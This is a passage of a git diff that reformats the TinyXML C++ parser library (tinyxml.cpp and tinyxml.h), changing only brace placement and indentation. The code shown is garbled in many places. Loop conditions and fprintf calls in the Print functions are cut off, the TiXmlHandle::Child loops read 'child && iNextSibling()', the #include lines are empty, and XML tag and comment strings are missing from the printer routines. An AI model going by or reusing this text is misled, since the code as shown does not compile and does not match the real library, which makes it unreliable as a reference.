!clone ) + return 0; - CopyTo( clone ); - return clone; + CopyTo( clone ); + return clone; } -void TiXmlDocument::Print( FILE* cfile, int depth ) const -{ - assert( cfile ); - for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() ) - { - node->Print( cfile, depth ); - fprintf( cfile, "\n" ); - } +void TiXmlDocument::Print( FILE* cfile, int depth ) const { + assert( cfile ); + for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() ) { + node->Print( cfile, depth ); + fprintf( cfile, "\n" ); + } } -bool TiXmlDocument::Accept( TiXmlVisitor* visitor ) const -{ - if ( visitor->VisitEnter( *this ) ) - { - for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() ) - { - if ( !node->Accept( visitor ) ) - break; - } - } - return visitor->VisitExit( *this ); +bool TiXmlDocument::Accept( TiXmlVisitor* visitor ) const { + if ( visitor->VisitEnter( *this ) ) { + for ( const TiXmlNode* node=FirstChild(); node; node=node->NextSibling() ) { + if ( !node->Accept( visitor ) ) + break; + } + } + return visitor->VisitExit( *this ); } -const TiXmlAttribute* TiXmlAttribute::Next() const -{ - // We are using knowledge of the sentinel. The sentinel - // have a value or name. - if ( next->value.empty() && next->name.empty() ) - return 0; - return next; +const TiXmlAttribute* TiXmlAttribute::Next() const { + // We are using knowledge of the sentinel. The sentinel + // have a value or name. + if ( next->value.empty() && next->name.empty() ) + return 0; + return next; } /* @@ -1190,13 +1047,12 @@ TiXmlAttribute* TiXmlAttribute::Next() } */ -const TiXmlAttribute* TiXmlAttribute::Previous() const -{ - // We are using knowledge of the sentinel. The sentinel - // have a value or name. - if ( prev->value.empty() && prev->name.empty() ) - return 0; - return prev; +const TiXmlAttribute* TiXmlAttribute::Previous() const { + // We are using knowledge of the sentinel. The sentinel + // have a value or name. + if ( prev->value.empty() && prev->name.empty() ) + return 0; + return prev; } /* @@ -1210,686 +1066,614 @@ TiXmlAttribute* TiXmlAttribute::Previous() } */ -void TiXmlAttribute::Print( FILE* cfile, int /*depth*/, TIXML_STRING* str ) const -{ - TIXML_STRING n, v; +void TiXmlAttribute::Print( FILE* cfile, int /*depth*/, TIXML_STRING* str ) const { + TIXML_STRING n, v; - EncodeString( name, &n ); - EncodeString( value, &v ); + EncodeString( name, &n ); + EncodeString( value, &v ); - if (value.find ('\"') == TIXML_STRING::npos) { - if ( cfile ) { - fprintf (cfile, "%s=\"%s\"", n.c_str(), v.c_str() ); - } - if ( str ) { - (*str) += n; (*str) += "=\""; (*str) += v; (*str) += "\""; - } - } - else { - if ( cfile ) { - fprintf (cfile, "%s='%s'", n.c_str(), v.c_str() ); - } - if ( str ) { - (*str) += n; (*str) += "='"; (*str) += v; (*str) += "'"; - } - } + if (value.find ('\"') == TIXML_STRING::npos) { + if ( cfile ) { + fprintf (cfile, "%s=\"%s\"", n.c_str(), v.c_str() ); + } + if ( str ) { + (*str) += n; + (*str) += "=\""; + (*str) += v; + (*str) += "\""; + } + } else { + if ( cfile ) { + fprintf (cfile, "%s='%s'", n.c_str(), v.c_str() ); + } + if ( str ) { + (*str) += n; + (*str) += "='"; + (*str) += v; + (*str) += "'"; + } + } } -int TiXmlAttribute::QueryIntValue( int* ival ) const -{ - if ( TIXML_SSCANF( value.c_str(), "%d", ival ) == 1 ) - return TIXML_SUCCESS; - return TIXML_WRONG_TYPE; +int TiXmlAttribute::QueryIntValue( int* ival ) const { + if ( TIXML_SSCANF( value.c_str(), "%d", ival ) == 1 ) + return TIXML_SUCCESS; + return TIXML_WRONG_TYPE; } -int TiXmlAttribute::QueryDoubleValue( double* dval ) const -{ - if ( TIXML_SSCANF( value.c_str(), "%lf", dval ) == 1 ) - return TIXML_SUCCESS; - return TIXML_WRONG_TYPE; +int TiXmlAttribute::QueryDoubleValue( double* dval ) const { + if ( TIXML_SSCANF( value.c_str(), "%lf", dval ) == 1 ) + return TIXML_SUCCESS; + return TIXML_WRONG_TYPE; } -void TiXmlAttribute::SetIntValue( int _value ) -{ - char buf [64]; - #if defined(TIXML_SNPRINTF) - TIXML_SNPRINTF(buf, sizeof(buf), "%d", _value); - #else - sprintf (buf, "%d", _value); - #endif - SetValue (buf); +void TiXmlAttribute::SetIntValue( int _value ) { + char buf [64]; +#if defined(TIXML_SNPRINTF) + TIXML_SNPRINTF(buf, sizeof(buf), "%d", _value); +#else + sprintf (buf, "%d", _value); +#endif + SetValue (buf); } -void TiXmlAttribute::SetDoubleValue( double _value ) -{ - char buf [256]; - #if defined(TIXML_SNPRINTF) - TIXML_SNPRINTF( buf, sizeof(buf), "%g", _value); - #else - sprintf (buf, "%g", _value); - #endif - SetValue (buf); +void TiXmlAttribute::SetDoubleValue( double _value ) { + char buf [256]; +#if defined(TIXML_SNPRINTF) + TIXML_SNPRINTF( buf, sizeof(buf), "%g", _value); +#else + sprintf (buf, "%g", _value); +#endif + SetValue (buf); } -int TiXmlAttribute::IntValue() const -{ - return atoi (value.c_str ()); +int TiXmlAttribute::IntValue() const { + return atoi (value.c_str ()); } -double TiXmlAttribute::DoubleValue() const -{ - return atof (value.c_str ()); +double TiXmlAttribute::DoubleValue() const { + return atof (value.c_str ()); } -TiXmlComment::TiXmlComment( const TiXmlComment& copy ) : TiXmlNode( TiXmlNode::TINYXML_COMMENT ) -{ - copy.CopyTo( this ); +TiXmlComment::TiXmlComment( const TiXmlComment& copy ) : TiXmlNode( TiXmlNode::TINYXML_COMMENT ) { + copy.CopyTo( this ); } -TiXmlComment& TiXmlComment::operator=( const TiXmlComment& base ) -{ - Clear(); - base.CopyTo( this ); - return *this; +TiXmlComment& TiXmlComment::operator=( const TiXmlComment& base ) { + Clear(); + base.CopyTo( this ); + return *this; } -void TiXmlComment::Print( FILE* cfile, int depth ) const -{ - assert( cfile ); - for ( int i=0; i", value.c_str() ); +void TiXmlComment::Print( FILE* cfile, int depth ) const { + assert( cfile ); + for ( int i=0; i", value.c_str() ); } -void TiXmlComment::CopyTo( TiXmlComment* target ) const -{ - TiXmlNode::CopyTo( target ); +void TiXmlComment::CopyTo( TiXmlComment* target ) const { + TiXmlNode::CopyTo( target ); } -bool TiXmlComment::Accept( TiXmlVisitor* visitor ) const -{ - return visitor->Visit( *this ); +bool TiXmlComment::Accept( TiXmlVisitor* visitor ) const { + return visitor->Visit( *this ); } -TiXmlNode* TiXmlComment::Clone() const -{ - TiXmlComment* clone = new TIXML_NOTHROW TiXmlComment(); +TiXmlNode* TiXmlComment::Clone() const { + TiXmlComment* clone = new TIXML_NOTHROW TiXmlComment(); - if ( !clone ) - return 0; + if ( !clone ) + return 0; - CopyTo( clone ); - return clone; + CopyTo( clone ); + return clone; } -void TiXmlText::Print( FILE* cfile, int depth ) const -{ - assert( cfile ); - if ( cdata ) - { - int i; - fprintf( cfile, "\n" ); - for ( i=0; i\n", value.c_str() ); // unformatted output - } - else - { - TIXML_STRING buffer; - EncodeString( value, &buffer ); - fprintf( cfile, "%s", buffer.c_str() ); - } +void TiXmlText::Print( FILE* cfile, int depth ) const { + assert( cfile ); + if ( cdata ) { + int i; + fprintf( cfile, "\n" ); + for ( i=0; i\n", value.c_str() ); // unformatted output + } else { + TIXML_STRING buffer; + EncodeString( value, &buffer ); + fprintf( cfile, "%s", buffer.c_str() ); + } } -void TiXmlText::CopyTo( TiXmlText* target ) const -{ - TiXmlNode::CopyTo( target ); - target->cdata = cdata; +void TiXmlText::CopyTo( TiXmlText* target ) const { + TiXmlNode::CopyTo( target ); + target->cdata = cdata; } -bool TiXmlText::Accept( TiXmlVisitor* visitor ) const -{ - return visitor->Visit( *this ); +bool TiXmlText::Accept( TiXmlVisitor* visitor ) const { + return visitor->Visit( *this ); } -TiXmlNode* TiXmlText::Clone() const -{ - TiXmlText* clone = 0; - clone = new TIXML_NOTHROW TiXmlText( "" ); +TiXmlNode* TiXmlText::Clone() const { + TiXmlText* clone = 0; + clone = new TIXML_NOTHROW TiXmlText( "" ); - if ( !clone ) - return 0; + if ( !clone ) + return 0; - CopyTo( clone ); - return clone; + CopyTo( clone ); + return clone; } TiXmlDeclaration::TiXmlDeclaration( const char * _version, - const char * _encoding, - const char * _standalone ) - : TiXmlNode( TiXmlNode::TINYXML_DECLARATION ) -{ - version = _version; - encoding = _encoding; - standalone = _standalone; + const char * _encoding, + const char * _standalone ) + : TiXmlNode( TiXmlNode::TINYXML_DECLARATION ) { + version = _version; + encoding = _encoding; + standalone = _standalone; } #ifdef TIXML_USE_STL TiXmlDeclaration::TiXmlDeclaration( const std::string& _version, - const std::string& _encoding, - const std::string& _standalone ) - : TiXmlNode( TiXmlNode::TINYXML_DECLARATION ) -{ - version = _version; - encoding = _encoding; - standalone = _standalone; + const std::string& _encoding, + const std::string& _standalone ) + : TiXmlNode( TiXmlNode::TINYXML_DECLARATION ) { + version = _version; + encoding = _encoding; + standalone = _standalone; } #endif TiXmlDeclaration::TiXmlDeclaration( const TiXmlDeclaration& copy ) - : TiXmlNode( TiXmlNode::TINYXML_DECLARATION ) -{ - copy.CopyTo( this ); + : TiXmlNode( TiXmlNode::TINYXML_DECLARATION ) { + copy.CopyTo( this ); } -TiXmlDeclaration& TiXmlDeclaration::operator=( const TiXmlDeclaration& copy ) -{ - Clear(); - copy.CopyTo( this ); - return *this; +TiXmlDeclaration& TiXmlDeclaration::operator=( const TiXmlDeclaration& copy ) { + Clear(); + copy.CopyTo( this ); + return *this; } -void TiXmlDeclaration::Print( FILE* cfile, int /*depth*/, TIXML_STRING* str ) const -{ - if ( cfile ) fprintf( cfile, "" ); - if ( str ) (*str) += "?>"; + if ( !version.empty() ) { + if ( cfile ) + fprintf (cfile, "version=\"%s\" ", version.c_str ()); + if ( str ) { + (*str) += "version=\""; + (*str) += version; + (*str) += "\" "; + } + } + if ( !encoding.empty() ) { + if ( cfile ) + fprintf (cfile, "encoding=\"%s\" ", encoding.c_str ()); + if ( str ) { + (*str) += "encoding=\""; + (*str) += encoding; + (*str) += "\" "; + } + } + if ( !standalone.empty() ) { + if ( cfile ) + fprintf (cfile, "standalone=\"%s\" ", standalone.c_str ()); + if ( str ) { + (*str) += "standalone=\""; + (*str) += standalone; + (*str) += "\" "; + } + } + if ( cfile ) + fprintf( cfile, "?>" ); + if ( str ) + (*str) += "?>"; } -void TiXmlDeclaration::CopyTo( TiXmlDeclaration* target ) const -{ - TiXmlNode::CopyTo( target ); +void TiXmlDeclaration::CopyTo( TiXmlDeclaration* target ) const { + TiXmlNode::CopyTo( target ); - target->version = version; - target->encoding = encoding; - target->standalone = standalone; + target->version = version; + target->encoding = encoding; + target->standalone = standalone; } -bool TiXmlDeclaration::Accept( TiXmlVisitor* visitor ) const -{ - return visitor->Visit( *this ); +bool TiXmlDeclaration::Accept( TiXmlVisitor* visitor ) const { + return visitor->Visit( *this ); } -TiXmlNode* TiXmlDeclaration::Clone() const -{ - TiXmlDeclaration* clone = new TIXML_NOTHROW TiXmlDeclaration(); +TiXmlNode* TiXmlDeclaration::Clone() const { + TiXmlDeclaration* clone = new TIXML_NOTHROW TiXmlDeclaration(); - if ( !clone ) - return 0; + if ( !clone ) + return 0; - CopyTo( clone ); - return clone; + CopyTo( clone ); + return clone; } -void TiXmlUnknown::Print( FILE* cfile, int depth ) const -{ - for ( int i=0; i", value.c_str() ); +void TiXmlUnknown::Print( FILE* cfile, int depth ) const { + for ( int i=0; i", value.c_str() ); } -void TiXmlUnknown::CopyTo( TiXmlUnknown* target ) const -{ - TiXmlNode::CopyTo( target ); +void TiXmlUnknown::CopyTo( TiXmlUnknown* target ) const { + TiXmlNode::CopyTo( target ); } -bool TiXmlUnknown::Accept( TiXmlVisitor* visitor ) const -{ - return visitor->Visit( *this ); +bool TiXmlUnknown::Accept( TiXmlVisitor* visitor ) const { + return visitor->Visit( *this ); } -TiXmlNode* TiXmlUnknown::Clone() const -{ - TiXmlUnknown* clone = new TIXML_NOTHROW TiXmlUnknown(); +TiXmlNode* TiXmlUnknown::Clone() const { + TiXmlUnknown* clone = new TIXML_NOTHROW TiXmlUnknown(); - if ( !clone ) - return 0; + if ( !clone ) + return 0; - CopyTo( clone ); - return clone; + CopyTo( clone ); + return clone; } -TiXmlAttributeSet::TiXmlAttributeSet() -{ - sentinel.next = &sentinel; - sentinel.prev = &sentinel; +TiXmlAttributeSet::TiXmlAttributeSet() { + sentinel.next = &sentinel; + sentinel.prev = &sentinel; } -TiXmlAttributeSet::~TiXmlAttributeSet() -{ - assert( sentinel.next == &sentinel ); - assert( sentinel.prev == &sentinel ); +TiXmlAttributeSet::~TiXmlAttributeSet() { + assert( sentinel.next == &sentinel ); + assert( sentinel.prev == &sentinel ); } -void TiXmlAttributeSet::Add( TiXmlAttribute* addMe ) -{ - #ifdef TIXML_USE_STL - assert( !Find( TIXML_STRING( addMe->Name() ) ) ); // Shouldn't be multiply adding to the set. - #else - assert( !Find( addMe->Name() ) ); // Shouldn't be multiply adding to the set. - #endif +void TiXmlAttributeSet::Add( TiXmlAttribute* addMe ) { +#ifdef TIXML_USE_STL + assert( !Find( TIXML_STRING( addMe->Name() ) ) ); // Shouldn't be multiply adding to the set. +#else + assert( !Find( addMe->Name() ) ); // Shouldn't be multiply adding to the set. +#endif - addMe->next = &sentinel; - addMe->prev = sentinel.prev; + addMe->next = &sentinel; + addMe->prev = sentinel.prev; - sentinel.prev->next = addMe; - sentinel.prev = addMe; + sentinel.prev->next = addMe; + sentinel.prev = addMe; } -void TiXmlAttributeSet::Remove( TiXmlAttribute* removeMe ) -{ - TiXmlAttribute* node; +void TiXmlAttributeSet::Remove( TiXmlAttribute* removeMe ) { + TiXmlAttribute* node; - for( node = sentinel.next; node != &sentinel; node = node->next ) - { - if ( node == removeMe ) - { - node->prev->next = node->next; - node->next->prev = node->prev; - node->next = 0; - node->prev = 0; - return; - } - } - assert( 0 ); // we tried to remove a non-linked attribute. + for( node = sentinel.next; node != &sentinel; node = node->next ) { + if ( node == removeMe ) { + node->prev->next = node->next; + node->next->prev = node->prev; + node->next = 0; + node->prev = 0; + return; + } + } + assert( 0 ); // we tried to remove a non-linked attribute. } #ifdef TIXML_USE_STL -TiXmlAttribute* TiXmlAttributeSet::Find( const std::string& name ) const -{ - for( TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next ) - { - if ( node->name == name ) - return node; - } - return 0; +TiXmlAttribute* TiXmlAttributeSet::Find( const std::string& name ) const { + for( TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next ) { + if ( node->name == name ) + return node; + } + return 0; } -TiXmlAttribute* TiXmlAttributeSet::FindOrCreate( const std::string& _name ) -{ - TiXmlAttribute* attrib = Find( _name ); - if ( !attrib ) { - attrib = new TIXML_NOTHROW TiXmlAttribute(); - if(attrib) - { - Add( attrib ); - attrib->SetName( _name ); - } - } - return attrib; +TiXmlAttribute* TiXmlAttributeSet::FindOrCreate( const std::string& _name ) { + TiXmlAttribute* attrib = Find( _name ); + if ( !attrib ) { + attrib = new TIXML_NOTHROW TiXmlAttribute(); + if(attrib) { + Add( attrib ); + attrib->SetName( _name ); + } + } + return attrib; } #endif -TiXmlAttribute* TiXmlAttributeSet::Find( const char* name ) const -{ - for( TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next ) - { - if ( strcmp( node->name.c_str(), name ) == 0 ) - return node; - } - return 0; +TiXmlAttribute* TiXmlAttributeSet::Find( const char* name ) const { + for( TiXmlAttribute* node = sentinel.next; node != &sentinel; node = node->next ) { + if ( strcmp( node->name.c_str(), name ) == 0 ) + return node; + } + return 0; } -TiXmlAttribute* TiXmlAttributeSet::FindOrCreate( const char* _name ) -{ - TiXmlAttribute* attrib = Find( _name ); - if ( !attrib ) { - attrib = new TIXML_NOTHROW TiXmlAttribute(); - if(attrib) - { - Add( attrib ); - attrib->SetName( _name ); - } - } - return attrib; +TiXmlAttribute* TiXmlAttributeSet::FindOrCreate( const char* _name ) { + TiXmlAttribute* attrib = Find( _name ); + if ( !attrib ) { + attrib = new TIXML_NOTHROW TiXmlAttribute(); + if(attrib) { + Add( attrib ); + attrib->SetName( _name ); + } + } + return attrib; } #ifdef TIXML_USE_STL -std::istream& operator>> (std::istream & in, TiXmlNode & base) -{ - TIXML_STRING tag; - tag.reserve( 8 * 1000 ); - base.StreamIn( &in, &tag ); +std::istream& operator>> (std::istream & in, TiXmlNode & base) { + TIXML_STRING tag; + tag.reserve( 8 * 1000 ); + base.StreamIn( &in, &tag ); - base.Parse( tag.c_str(), 0, TIXML_DEFAULT_ENCODING ); - return in; + base.Parse( tag.c_str(), 0, TIXML_DEFAULT_ENCODING ); + return in; } #endif #ifdef TIXML_USE_STL -std::ostream& operator<< (std::ostream & out, const TiXmlNode & base) -{ - TiXmlPrinter printer; - printer.SetStreamPrinting(); - base.Accept( &printer ); - out << printer.Str(); +std::ostream& operator<< (std::ostream & out, const TiXmlNode & base) { + TiXmlPrinter printer; + printer.SetStreamPrinting(); + base.Accept( &printer ); + out << printer.Str(); - return out; + return out; } -std::string& operator<< (std::string& out, const TiXmlNode& base ) -{ - TiXmlPrinter printer; - printer.SetStreamPrinting(); - base.Accept( &printer ); - out.append( printer.Str() ); +std::string& operator<< (std::string& out, const TiXmlNode& base ) { + TiXmlPrinter printer; + printer.SetStreamPrinting(); + base.Accept( &printer ); + out.append( printer.Str() ); - return out; + return out; } #endif -TiXmlHandle TiXmlHandle::FirstChild() const -{ - if ( node ) - { - TiXmlNode* child = node->FirstChild(); - if ( child ) - return TiXmlHandle( child ); - } - return TiXmlHandle( 0 ); +TiXmlHandle TiXmlHandle::FirstChild() const { + if ( node ) { + TiXmlNode* child = node->FirstChild(); + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); } -TiXmlHandle TiXmlHandle::FirstChild( const char * value ) const -{ - if ( node ) - { - TiXmlNode* child = node->FirstChild( value ); - if ( child ) - return TiXmlHandle( child ); - } - return TiXmlHandle( 0 ); +TiXmlHandle TiXmlHandle::FirstChild( const char * value ) const { + if ( node ) { + TiXmlNode* child = node->FirstChild( value ); + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); } -TiXmlHandle TiXmlHandle::FirstChildElement() const -{ - if ( node ) - { - TiXmlElement* child = node->FirstChildElement(); - if ( child ) - return TiXmlHandle( child ); - } - return TiXmlHandle( 0 ); +TiXmlHandle TiXmlHandle::FirstChildElement() const { + if ( node ) { + TiXmlElement* child = node->FirstChildElement(); + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); } -TiXmlHandle TiXmlHandle::FirstChildElement( const char * value ) const -{ - if ( node ) - { - TiXmlElement* child = node->FirstChildElement( value ); - if ( child ) - return TiXmlHandle( child ); - } - return TiXmlHandle( 0 ); +TiXmlHandle TiXmlHandle::FirstChildElement( const char * value ) const { + if ( node ) { + TiXmlElement* child = node->FirstChildElement( value ); + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); } -TiXmlHandle TiXmlHandle::Child( int count ) const -{ - if ( node ) - { - int i; - TiXmlNode* child = node->FirstChild(); - for ( i=0; - child && iNextSibling(), ++i ) - { - // nothing - } - if ( child ) - return TiXmlHandle( child ); - } - return TiXmlHandle( 0 ); +TiXmlHandle TiXmlHandle::Child( int count ) const { + if ( node ) { + int i; + TiXmlNode* child = node->FirstChild(); + for ( i=0; + child && iNextSibling(), ++i ) { + // nothing + } + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); } -TiXmlHandle TiXmlHandle::Child( const char* value, int count ) const -{ - if ( node ) - { - int i; - TiXmlNode* child = node->FirstChild( value ); - for ( i=0; - child && iNextSibling( value ), ++i ) - { - // nothing - } - if ( child ) - return TiXmlHandle( child ); - } - return TiXmlHandle( 0 ); +TiXmlHandle TiXmlHandle::Child( const char* value, int count ) const { + if ( node ) { + int i; + TiXmlNode* child = node->FirstChild( value ); + for ( i=0; + child && iNextSibling( value ), ++i ) { + // nothing + } + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); } -TiXmlHandle TiXmlHandle::ChildElement( int count ) const -{ - if ( node ) - { - int i; - TiXmlElement* child = node->FirstChildElement(); - for ( i=0; - child && iNextSiblingElement(), ++i ) - { - // nothing - } - if ( child ) - return TiXmlHandle( child ); - } - return TiXmlHandle( 0 ); +TiXmlHandle TiXmlHandle::ChildElement( int count ) const { + if ( node ) { + int i; + TiXmlElement* child = node->FirstChildElement(); + for ( i=0; + child && iNextSiblingElement(), ++i ) { + // nothing + } + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); } -TiXmlHandle TiXmlHandle::ChildElement( const char* value, int count ) const -{ - if ( node ) - { - int i; - TiXmlElement* child = node->FirstChildElement( value ); - for ( i=0; - child && iNextSiblingElement( value ), ++i ) - { - // nothing - } - if ( child ) - return TiXmlHandle( child ); - } - return TiXmlHandle( 0 ); +TiXmlHandle TiXmlHandle::ChildElement( const char* value, int count ) const { + if ( node ) { + int i; + TiXmlElement* child = node->FirstChildElement( value ); + for ( i=0; + child && iNextSiblingElement( value ), ++i ) { + // nothing + } + if ( child ) + return TiXmlHandle( child ); + } + return TiXmlHandle( 0 ); } -bool TiXmlPrinter::VisitEnter( const TiXmlDocument& ) -{ - return true; +bool TiXmlPrinter::VisitEnter( const TiXmlDocument& ) { + return true; } -bool TiXmlPrinter::VisitExit( const TiXmlDocument& ) -{ - return true; +bool TiXmlPrinter::VisitExit( const TiXmlDocument& ) { + return true; } -bool TiXmlPrinter::VisitEnter( const TiXmlElement& element, const TiXmlAttribute* firstAttribute ) -{ - DoIndent(); - buffer += "<"; - buffer += element.Value(); +bool TiXmlPrinter::VisitEnter( const TiXmlElement& element, const TiXmlAttribute* firstAttribute ) { + DoIndent(); + buffer += "<"; + buffer += element.Value(); - for( const TiXmlAttribute* attrib = firstAttribute; attrib; attrib = attrib->Next() ) - { - buffer += " "; - attrib->Print( 0, 0, &buffer ); - } + for( const TiXmlAttribute* attrib = firstAttribute; attrib; attrib = attrib->Next() ) { + buffer += " "; + attrib->Print( 0, 0, &buffer ); + } - if ( !element.FirstChild() ) - { - buffer += " />"; - DoLineBreak(); - } - else - { - buffer += ">"; - if ( element.FirstChild()->ToText() - && element.LastChild() == element.FirstChild() - && element.FirstChild()->ToText()->CDATA() == false ) - { - simpleTextPrint = true; - // no DoLineBreak()! - } - else - { - DoLineBreak(); - } - } - ++depth; - return true; + if ( !element.FirstChild() ) { + buffer += " />"; + DoLineBreak(); + } else { + buffer += ">"; + if ( element.FirstChild()->ToText() + && element.LastChild() == element.FirstChild() + && element.FirstChild()->ToText()->CDATA() == false ) { + simpleTextPrint = true; + // no DoLineBreak()! + } else { + DoLineBreak(); + } + } + ++depth; + return true; } -bool TiXmlPrinter::VisitExit( const TiXmlElement& element ) -{ - --depth; - if ( !element.FirstChild() ) - { - // nothing. - } - else - { - if ( simpleTextPrint ) - { - simpleTextPrint = false; - } - else - { - DoIndent(); - } - buffer += ""; - DoLineBreak(); - } - return true; +bool TiXmlPrinter::VisitExit( const TiXmlElement& element ) { + --depth; + if ( !element.FirstChild() ) { + // nothing. + } else { + if ( simpleTextPrint ) { + simpleTextPrint = false; + } else { + DoIndent(); + } + buffer += ""; + DoLineBreak(); + } + return true; } -bool TiXmlPrinter::Visit( const TiXmlText& text ) -{ - if ( text.CDATA() ) - { - DoIndent(); - buffer += ""; - DoLineBreak(); - } - else if ( simpleTextPrint ) - { - TIXML_STRING str; - TiXmlBase::EncodeString( text.ValueTStr(), &str ); - buffer += str; - } - else - { - DoIndent(); - TIXML_STRING str; - TiXmlBase::EncodeString( text.ValueTStr(), &str ); - buffer += str; - DoLineBreak(); - } - return true; +bool TiXmlPrinter::Visit( const TiXmlText& text ) { + if ( text.CDATA() ) { + DoIndent(); + buffer += ""; + DoLineBreak(); + } else if ( simpleTextPrint ) { + TIXML_STRING str; + TiXmlBase::EncodeString( text.ValueTStr(), &str ); + buffer += str; + } else { + DoIndent(); + TIXML_STRING str; + TiXmlBase::EncodeString( text.ValueTStr(), &str ); + buffer += str; + DoLineBreak(); + } + return true; } -bool TiXmlPrinter::Visit( const TiXmlDeclaration& declaration ) -{ - DoIndent(); - declaration.Print( 0, 0, &buffer ); - DoLineBreak(); - return true; +bool TiXmlPrinter::Visit( const TiXmlDeclaration& declaration ) { + DoIndent(); + declaration.Print( 0, 0, &buffer ); + DoLineBreak(); + return true; } -bool TiXmlPrinter::Visit( const TiXmlComment& comment ) -{ - DoIndent(); - buffer += ""; - DoLineBreak(); - return true; +bool TiXmlPrinter::Visit( const TiXmlComment& comment ) { + DoIndent(); + buffer += ""; + DoLineBreak(); + return true; } -bool TiXmlPrinter::Visit( const TiXmlUnknown& unknown ) -{ - DoIndent(); - buffer += "<"; - buffer += unknown.Value(); - buffer += ">"; - DoLineBreak(); - return true; +bool TiXmlPrinter::Visit( const TiXmlUnknown& unknown ) { + DoIndent(); + buffer += "<"; + buffer += unknown.Value(); + buffer += ">"; + DoLineBreak(); + return true; } diff --git a/src/utils/tinyxml.h b/src/utils/tinyxml.h index 6e4a081..7b684ab 100644 --- a/src/utils/tinyxml.h +++ b/src/utils/tinyxml.h @@ -44,15 +44,15 @@ distribution. #endif #ifdef TIXML_USE_STL - #include - #include - #include - #define TIXML_STRING std::string - #define TIXML_NOTHROW (std::nothrow) +#include +#include +#include +#define TIXML_STRING std::string +#define TIXML_NOTHROW (std::nothrow) #else - #include "tinystr.h" - #define TIXML_STRING TiXmlString - #define TIXML_NOTHROW +#include "tinystr.h" +#define TIXML_STRING TiXmlString +#define TIXML_NOTHROW #endif // Deprecated library function hell. Compilers want to use the @@ -62,24 +62,24 @@ distribution. #define TIXML_SAFE #ifdef TIXML_SAFE - #if defined(_MSC_VER) && (_MSC_VER >= 1400 ) - // Microsoft visual studio, version 2005 and higher. - #define TIXML_SNPRINTF _snprintf_s - #define TIXML_SSCANF sscanf_s - #elif defined(_MSC_VER) && (_MSC_VER >= 1200 ) - // Microsoft visual studio, version 6 and higher. - //#pragma message( "Using _sn* functions." ) - #define TIXML_SNPRINTF _snprintf - #define TIXML_SSCANF sscanf - #elif defined(__GNUC__) && (__GNUC__ >= 3 ) - // GCC version 3 and higher.s - //#warning( "Using sn* functions." ) - #define TIXML_SNPRINTF snprintf - #define TIXML_SSCANF sscanf - #else - #define TIXML_SNPRINTF snprintf - #define TIXML_SSCANF sscanf - #endif +#if defined(_MSC_VER) && (_MSC_VER >= 1400 ) +// Microsoft visual studio, version 2005 and higher. +#define TIXML_SNPRINTF _snprintf_s +#define TIXML_SSCANF sscanf_s +#elif defined(_MSC_VER) && (_MSC_VER >= 1200 ) +// Microsoft visual studio, version 6 and higher. +//#pragma message( "Using _sn* functions." ) +#define TIXML_SNPRINTF _snprintf +#define TIXML_SSCANF sscanf +#elif defined(__GNUC__) && (__GNUC__ >= 3 ) +// GCC version 3 and higher.s +//#warning( "Using sn* functions." ) +#define TIXML_SNPRINTF snprintf +#define TIXML_SSCANF sscanf +#else +#define TIXML_SNPRINTF snprintf +#define TIXML_SSCANF sscanf +#endif #endif class TiXmlDocument; @@ -98,13 +98,16 @@ const int TIXML_PATCH_VERSION = 2; /* Internal structure for tracking location of items in the XML file. */ -struct TiXmlCursor -{ - TiXmlCursor() { Clear(); } - void Clear() { row = col = -1; } +struct TiXmlCursor { + TiXmlCursor() { + Clear(); + } + void Clear() { + row = col = -1; + } - int row; // 0 based. - int col; // 0 based. + int row; // 0 based. + int col; // 0 based. }; @@ -127,46 +130,59 @@ struct TiXmlCursor @sa TiXmlNode::Accept() */ -class TiXmlVisitor -{ +class TiXmlVisitor { public: - virtual ~TiXmlVisitor() {} + virtual ~TiXmlVisitor() {} - /// Visit a document. - virtual bool VisitEnter( const TiXmlDocument& /*doc*/ ) { return true; } - /// Visit a document. - virtual bool VisitExit( const TiXmlDocument& /*doc*/ ) { return true; } + /// Visit a document. + virtual bool VisitEnter( const TiXmlDocument& /*doc*/ ) { + return true; + } + /// Visit a document. + virtual bool VisitExit( const TiXmlDocument& /*doc*/ ) { + return true; + } - /// Visit an element. - virtual bool VisitEnter( const TiXmlElement& /*element*/, const TiXmlAttribute* /*firstAttribute*/ ) { return true; } - /// Visit an element. - virtual bool VisitExit( const TiXmlElement& /*element*/ ) { return true; } + /// Visit an element. + virtual bool VisitEnter( const TiXmlElement& /*element*/, const TiXmlAttribute* /*firstAttribute*/ ) { + return true; + } + /// Visit an element. + virtual bool VisitExit( const TiXmlElement& /*element*/ ) { + return true; + } - /// Visit a declaration - virtual bool Visit( const TiXmlDeclaration& /*declaration*/ ) { return true; } - /// Visit a text node - virtual bool Visit( const TiXmlText& /*text*/ ) { return true; } - /// Visit a comment node - virtual bool Visit( const TiXmlComment& /*comment*/ ) { return true; } - /// Visit an unknown node - virtual bool Visit( const TiXmlUnknown& /*unknown*/ ) { return true; } + /// Visit a declaration + virtual bool Visit( const TiXmlDeclaration& /*declaration*/ ) { + return true; + } + /// Visit a text node + virtual bool Visit( const TiXmlText& /*text*/ ) { + return true; + } + /// Visit a comment node + virtual bool Visit( const TiXmlComment& /*comment*/ ) { + return true; + } + /// Visit an unknown node + virtual bool Visit( const TiXmlUnknown& /*unknown*/ ) { + return true; + } }; // Only used by Attribute::Query functions -enum -{ - TIXML_SUCCESS, - TIXML_NO_ATTRIBUTE, - TIXML_WRONG_TYPE +enum { + TIXML_SUCCESS, + TIXML_NO_ATTRIBUTE, + TIXML_WRONG_TYPE }; // Used by the parsing routines. -enum TiXmlEncoding -{ - TIXML_ENCODING_UNKNOWN, - TIXML_ENCODING_UTF8, - TIXML_ENCODING_LEGACY +enum TiXmlEncoding { + TIXML_ENCODING_UNKNOWN, + TIXML_ENCODING_UTF8, + TIXML_ENCODING_LEGACY }; const TiXmlEncoding 